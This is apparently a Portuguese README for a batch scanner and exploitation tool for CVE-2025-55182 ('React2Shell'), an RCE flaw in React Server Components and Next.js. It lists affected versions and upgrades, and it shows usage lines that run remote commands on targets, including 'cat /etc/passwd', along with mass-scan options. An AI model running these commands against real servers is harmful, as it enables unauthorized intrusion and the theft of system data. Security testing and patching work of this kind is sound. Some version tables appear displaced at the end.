CVE-2025-55182 RCE Scanner

Ferramenta de detecção e verificação em lote para a vulnerabilidade de execução remota de código CVE-2025-55182 (React2Shell).

⚠️ Vulnerabilidade crítica CVSS 10.0 | Afeta React Server Components e versões Next.js 15.x/16.x | Uso exclusivo para testes de segurança autorizados

Visão geral da vulnerabilidade

CVE-2025-55182 (também conhecida como "React2Shell") é uma vulnerabilidade de execução remota de código (RCE) não autenticada com pontuação máxima CVSS 10.0.

A vulnerabilidade decorre de um problema de desserialização insegura no pacote react-server dos React Server Components (RSC) ao processar o protocolo RSC "Flight". Atacantes podem executar código arbitrário no servidor vulnerável enviando requisições HTTP especialmente elaboradas.

Como o Next.js utiliza o protocolo RSC "Flight", mesmo aplicações criadas com a configuração padrão do create-next-app podem ser exploradas sem que o desenvolvedor precise escrever código adicional. Desde 5 de dezembro de 2025, foi detectada exploração ativa desta vulnerabilidade.

Versões afetadas

React Server Components – versões afetadas:

Pacote	Versões afetadas
react-server-dom-webpack	19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack	19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-parcel	19.0.0, 19.1.0, 19.1.1, 19.2.0

Next.js – versões afetadas (usando App Router):

Outros frameworks/ferramentas RSC possivelmente afetados:

react-router
waku
@parcel/rsc
@vitejs/plugin-rsc
rwsdk
RedwoodJS (modo RSC)

Mitigações temporárias

⚠️ Importante: não há mitigações temporárias conhecidas para esta vulnerabilidade. Atualizar para versões seguras é a única correção.

Versões recomendadas para atualização:

React: atualizar para 19.0.1, 19.1.2 ou 19.2.1
Next.js: atualizar para 16.0.7, 15.5.7, 15.4.8 ou 15.3.6

O pacote npm oficial fix-react2shell-next pode ajudar na atualização de aplicações Next.js afetadas.

Instalação de dependências

pip install requests

Modo de uso

Uso básico

# Escaneamento em lote (lê alvos de urls.txt)
python CVE-2025-55182.py -f urls.txt

# Teste de alvo único
python CVE-2025-55182.py -u http://192.168.1.100:3000

Comandos personalizados

# Executar comando whoami
python CVE-2025-55182.py -f urls.txt -c "whoami"

# Executar comando hostname
python CVE-2025-55182.py -u http://target.com -c "hostname"

# Ler arquivo
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"

Opções avançadas

# Definir número de threads e timeout
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15

# Arquivo de saída personalizado
python CVE-2025-55182.py -f urls.txt -o scan_results.csv

# Modo silencioso (apenas URLs vulneráveis)
python CVE-2025-55182.py -f urls.txt -q

Descrição dos parâmetros

Formato do arquivo de URLs

Uma URL por linha, por exemplo:

http://192.168.1.10:3000
http://192.168.1.11:3000

Exemplo de saída

    +---------------------------------------------------------------+
    |   ###   ## #######  ##  ## ########       ## #######          |
    |   ####  ## ##       ## ##     ##          ## ##               |
    |   ## ## ## #####     ###      ##          ## #######          |
    |   ##  #### ##       ## ##     ##      ##  ##       ##         |
    |   ##   ### ####### ##   ##    ##       ####  #######          |
    |                                                               |
    |   CVE-2025-55182 RCE Scanner                                  |
    +---------------------------------------------------------------+

============================================================
  [ CONFIGURAÇÃO ]
============================================================
  > Alvos: 10
  > Threads: 20
  > Comando: id

============================================================
  [ ESCANEANDO ]
============================================================
  [14:30:25] [VULN] http://192.168.1.10:3000
             '--> uid=1000(www-data)
  [14:30:26] [SEGURO] http://192.168.1.11:3000

+==========================================================+
|                  ESCANEAMENTO CONCLUÍDO                  |
+==========================================================+
|  Total de alvos :    10                                  |
|  Vulneráveis    :     1                                  |
|  Seguros        :     9                                  |
|  Erros          :     0                                  |
+==========================================================+

Arquivo de saída

O resultado do escaneamento é salvo no formato CSV, contendo os seguintes campos:

url - URL do alvo
status - Código de status HTTP
vulnerable - Se é vulnerável
output - Saída da execução do comando
error - Mensagem de erro

Aviso legal

Esta ferramenta destina-se exclusivamente a testes de segurança autorizados. Não a utilize para fins ilegais. O usuário assume toda a responsabilidade pelo seu uso.

16.0.x	≤ 16.0.6	16.0.7
15.5.x	≤ 15.5.6	15.5.7
15.4.x	≤ 15.4.7	15.4.8
15.3.x	≤ 15.3.5	15.3.6
15.2.x	≤ 15.2.5	-
15.1.x	≤ 15.1.8	-
15.0.x	≤ 15.0.4	-
14.x Canary	≥ 14.3.0-canary.77	-

`-f, --file`	Arquivo com lista de URLs	urls.txt
`-u, --url`	URL de alvo único	-
`-t, --threads`	Número de threads concorrentes	20
`--timeout`	Timeout da requisição (segundos)	10
`-o, --output`	Arquivo CSV de saída	results.csv
`-c, --command`	Comando a ser executado	id
`-q, --quiet`	Modo silencioso	false

CVE-2025-55182-Scanner

Mais Populares